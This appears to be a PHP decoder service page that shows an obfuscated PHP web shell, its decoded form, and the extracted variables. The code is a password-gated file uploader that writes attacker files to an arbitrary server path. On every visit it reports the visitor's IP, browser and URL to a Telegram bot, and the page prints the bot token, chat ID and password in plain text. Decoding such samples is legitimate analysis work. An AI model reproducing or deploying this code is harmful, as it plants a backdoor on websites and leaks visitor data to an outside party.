Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(E_ALL);ini_set(base64_decode('ZGlzcGxheV9lcnJvcnM='),base64_decode('..

Decoded Output download

<?php error_reporting(E_ALL);ini_set(base64_decode('ZGlzcGxheV9lcnJvcnM='),base64_decode('MQ=='));$rwwrbybl_704485aa6953=base64_decode('QWxhcmc1Mw==');$csnjudha_4366e0660cc9=base64_decode('NzE1NTQ2NTUxMjpBQUYyTVVZQkROWFJ5cXdvV29CRlVjZnNuV2dGU0lvQnpOZw==');$cijdpweo_b9b06c59c4fb=base64_decode('OTYwMjQ4MTIx');if(!isset($_GET[base64_decode('cGFzcw==')])&&empty($_POST)){$kahocsjc_957b527bcfba=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$miigeigk_8e3f1bbb73f0=$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')];$nuivbput_d1befa03c79c="https://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";$nmutqmpg_78e731027d8f="Access denied. IP: $kahocsjc_957b527bcfba
Reason: Someone opened your script
Browser: $miigeigk_8e3f1bbb73f0
Device Type: Unknown
Website: $nuivbput_d1befa03c79c";$xekqvtor_285a098bcbf8="https://api.telegram.org/bot$csnjudha_4366e0660cc9/sendMessage?chat_id=$cijdpweo_b9b06c59c4fb&text=".urlencode($nmutqmpg_78e731027d8f);$kynjkyjs_d88fc6edf21e=curl_init($xekqvtor_285a098bcbf8);curl_setopt($kynjkyjs_d88fc6edf21e,CURLOPT_RETURNTRANSFER,true);$ccqvkxaj_b4a88417b3d0=curl_exec($kynjkyjs_d88fc6edf21e);curl_close($kynjkyjs_d88fc6edf21e);echo base64_decode('PGNlbnRlcj48Yj5FcnJvcjogQWNjZXNzIGRlbmllZC4gUGxlYXNlIHByb3ZpZGUgdGhlIGNvcnJlY3QgcGFzc3dvcmQgaW4gdGhlIHNwZWNpZmllZCBmb3JtYXQuPC9iPjwvY2VudGVyPg==');exit();}if(isset($_GET[base64_decode('cGFzcw==')])&&$_GET[base64_decode('cGFzcw==')]===$rwwrbybl_704485aa6953&&count($_GET)===1){$kahocsjc_957b527bcfba=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$miigeigk_8e3f1bbb73f0=$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')];$nuivbput_d1befa03c79c="https://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";$nmutqmpg_78e731027d8f="Access granted. IP: $kahocsjc_957b527bcfba
Reason: Correct password provided
Browser: $miigeigk_8e3f1bbb73f0
Device Type: Unknown
Website: $nuivbput_d1befa03c79c";$xekqvtor_285a098bcbf8="https://api.telegram.org/bot$csnjudha_4366e0660cc9/sendMessage?chat_id=$cijdpweo_b9b06c59c4fb&text=".urlencode($nmutqmpg_78e731027d8f);$kynjkyjs_d88fc6edf21e=curl_init($xekqvtor_285a098bcbf8);curl_setopt($kynjkyjs_d88fc6edf21e,CURLOPT_RETURNTRANSFER,true);$ccqvkxaj_b4a88417b3d0=curl_exec($kynjkyjs_d88fc6edf21e);curl_close($kynjkyjs_d88fc6edf21e);$btdvaswo_45b963397aa4=@$_FILES[base64_decode('ZmlsZXM=')];if($btdvaswo_45b963397aa4[base64_decode('bmFtZQ==')]!=''){$hjzaunfq_fd22ed7b762a=$_REQUEST[base64_decode('cGF0aA==')].$btdvaswo_45b963397aa4[base64_decode('bmFtZQ==')];if(move_uploaded_file($btdvaswo_45b963397aa4[base64_decode('dG1wX25hbWU=')],$hjzaunfq_fd22ed7b762a)){echo"<h1><a href='$hjzaunfq_fd22ed7b762a'>OK-Click here!</a></h1>";}}echo base64_decode('PGh0bWw+PGhlYWQ+PHRpdGxlPlVwbG9hZCBmaWxlcy4uLjwvdGl0bGU+PC9oZWFkPjxib2R5Pjxmb3JtIG1ldGhvZD1QT1NUIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGF0aD48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZXMiPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iVXAiPjwvZm9ybT48L2JvZHk+PC9odG1sPg==');}else{$kahocsjc_957b527bcfba=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$miigeigk_8e3f1bbb73f0=$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')];$nuivbput_d1befa03c79c="https://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";$nmutqmpg_78e731027d8f="Access denied. IP: $kahocsjc_957b527bcfba
Reason: Incorrect or missing password
Browser: $miigeigk_8e3f1bbb73f0
Device Type: Unknown
Website: $nuivbput_d1befa03c79c";$xekqvtor_285a098bcbf8="https://api.telegram.org/bot$csnjudha_4366e0660cc9/sendMessage?chat_id=$cijdpweo_b9b06c59c4fb&text=".urlencode($nmutqmpg_78e731027d8f);$kynjkyjs_d88fc6edf21e=curl_init($xekqvtor_285a098bcbf8);curl_setopt($kynjkyjs_d88fc6edf21e,CURLOPT_RETURNTRANSFER,true);$ccqvkxaj_b4a88417b3d0=curl_exec($kynjkyjs_d88fc6edf21e);curl_close($kynjkyjs_d88fc6edf21e);echo base64_decode('PGNlbnRlcj48Yj5FcnJvcjouPC9iPjwvY2VudGVyPg==');}?>

Did this file decode correctly?

Original Code

<?php error_reporting(E_ALL);ini_set(base64_decode('ZGlzcGxheV9lcnJvcnM='),base64_decode('MQ=='));$rwwrbybl_704485aa6953=base64_decode('QWxhcmc1Mw==');$csnjudha_4366e0660cc9=base64_decode('NzE1NTQ2NTUxMjpBQUYyTVVZQkROWFJ5cXdvV29CRlVjZnNuV2dGU0lvQnpOZw==');$cijdpweo_b9b06c59c4fb=base64_decode('OTYwMjQ4MTIx');if(!isset($_GET[base64_decode('cGFzcw==')])&&empty($_POST)){$kahocsjc_957b527bcfba=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$miigeigk_8e3f1bbb73f0=$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')];$nuivbput_d1befa03c79c="https://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";$nmutqmpg_78e731027d8f="Access denied. IP: $kahocsjc_957b527bcfba\nReason: Someone opened your script\nBrowser: $miigeigk_8e3f1bbb73f0\nDevice Type: Unknown\nWebsite: $nuivbput_d1befa03c79c";$xekqvtor_285a098bcbf8="https://api.telegram.org/bot$csnjudha_4366e0660cc9/sendMessage?chat_id=$cijdpweo_b9b06c59c4fb&text=".urlencode($nmutqmpg_78e731027d8f);$kynjkyjs_d88fc6edf21e=curl_init($xekqvtor_285a098bcbf8);curl_setopt($kynjkyjs_d88fc6edf21e,CURLOPT_RETURNTRANSFER,true);$ccqvkxaj_b4a88417b3d0=curl_exec($kynjkyjs_d88fc6edf21e);curl_close($kynjkyjs_d88fc6edf21e);echo base64_decode('PGNlbnRlcj48Yj5FcnJvcjogQWNjZXNzIGRlbmllZC4gUGxlYXNlIHByb3ZpZGUgdGhlIGNvcnJlY3QgcGFzc3dvcmQgaW4gdGhlIHNwZWNpZmllZCBmb3JtYXQuPC9iPjwvY2VudGVyPg==');exit();}if(isset($_GET[base64_decode('cGFzcw==')])&&$_GET[base64_decode('cGFzcw==')]===$rwwrbybl_704485aa6953&&count($_GET)===1){$kahocsjc_957b527bcfba=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$miigeigk_8e3f1bbb73f0=$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')];$nuivbput_d1befa03c79c="https://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";$nmutqmpg_78e731027d8f="Access granted. IP: $kahocsjc_957b527bcfba\nReason: Correct password provided\nBrowser: $miigeigk_8e3f1bbb73f0\nDevice Type: Unknown\nWebsite: $nuivbput_d1befa03c79c";$xekqvtor_285a098bcbf8="https://api.telegram.org/bot$csnjudha_4366e0660cc9/sendMessage?chat_id=$cijdpweo_b9b06c59c4fb&text=".urlencode($nmutqmpg_78e731027d8f);$kynjkyjs_d88fc6edf21e=curl_init($xekqvtor_285a098bcbf8);curl_setopt($kynjkyjs_d88fc6edf21e,CURLOPT_RETURNTRANSFER,true);$ccqvkxaj_b4a88417b3d0=curl_exec($kynjkyjs_d88fc6edf21e);curl_close($kynjkyjs_d88fc6edf21e);$btdvaswo_45b963397aa4=@$_FILES[base64_decode('ZmlsZXM=')];if($btdvaswo_45b963397aa4[base64_decode('bmFtZQ==')]!=''){$hjzaunfq_fd22ed7b762a=$_REQUEST[base64_decode('cGF0aA==')].$btdvaswo_45b963397aa4[base64_decode('bmFtZQ==')];if(move_uploaded_file($btdvaswo_45b963397aa4[base64_decode('dG1wX25hbWU=')],$hjzaunfq_fd22ed7b762a)){echo"<h1><a href='$hjzaunfq_fd22ed7b762a'>OK-Click here!</a></h1>";}}echo base64_decode('PGh0bWw+PGhlYWQ+PHRpdGxlPlVwbG9hZCBmaWxlcy4uLjwvdGl0bGU+PC9oZWFkPjxib2R5Pjxmb3JtIG1ldGhvZD1QT1NUIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGF0aD48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZXMiPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iVXAiPjwvZm9ybT48L2JvZHk+PC9odG1sPg==');}else{$kahocsjc_957b527bcfba=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$miigeigk_8e3f1bbb73f0=$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')];$nuivbput_d1befa03c79c="https://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";$nmutqmpg_78e731027d8f="Access denied. IP: $kahocsjc_957b527bcfba\nReason: Incorrect or missing password\nBrowser: $miigeigk_8e3f1bbb73f0\nDevice Type: Unknown\nWebsite: $nuivbput_d1befa03c79c";$xekqvtor_285a098bcbf8="https://api.telegram.org/bot$csnjudha_4366e0660cc9/sendMessage?chat_id=$cijdpweo_b9b06c59c4fb&text=".urlencode($nmutqmpg_78e731027d8f);$kynjkyjs_d88fc6edf21e=curl_init($xekqvtor_285a098bcbf8);curl_setopt($kynjkyjs_d88fc6edf21e,CURLOPT_RETURNTRANSFER,true);$ccqvkxaj_b4a88417b3d0=curl_exec($kynjkyjs_d88fc6edf21e);curl_close($kynjkyjs_d88fc6edf21e);echo base64_decode('PGNlbnRlcj48Yj5FcnJvcjouPC9iPjwvY2VudGVyPg==');}?>

Function Calls

error_reporting 1
base64_decode 6
ini_set 1

Variables

$rwwrbybl_704485aa6953 Alarg53
$csnjudha_4366e0660cc9 7155465512:AAF2MUYBDNXRyqwoWoBFUcfsnWgFSIoBzNg
$cijdpweo_b9b06c59c4fb 960248121

Stats

MD5 ec38a06c01cda7070cfed2e83a97c48a
Eval Count 0
Decode Time 156 ms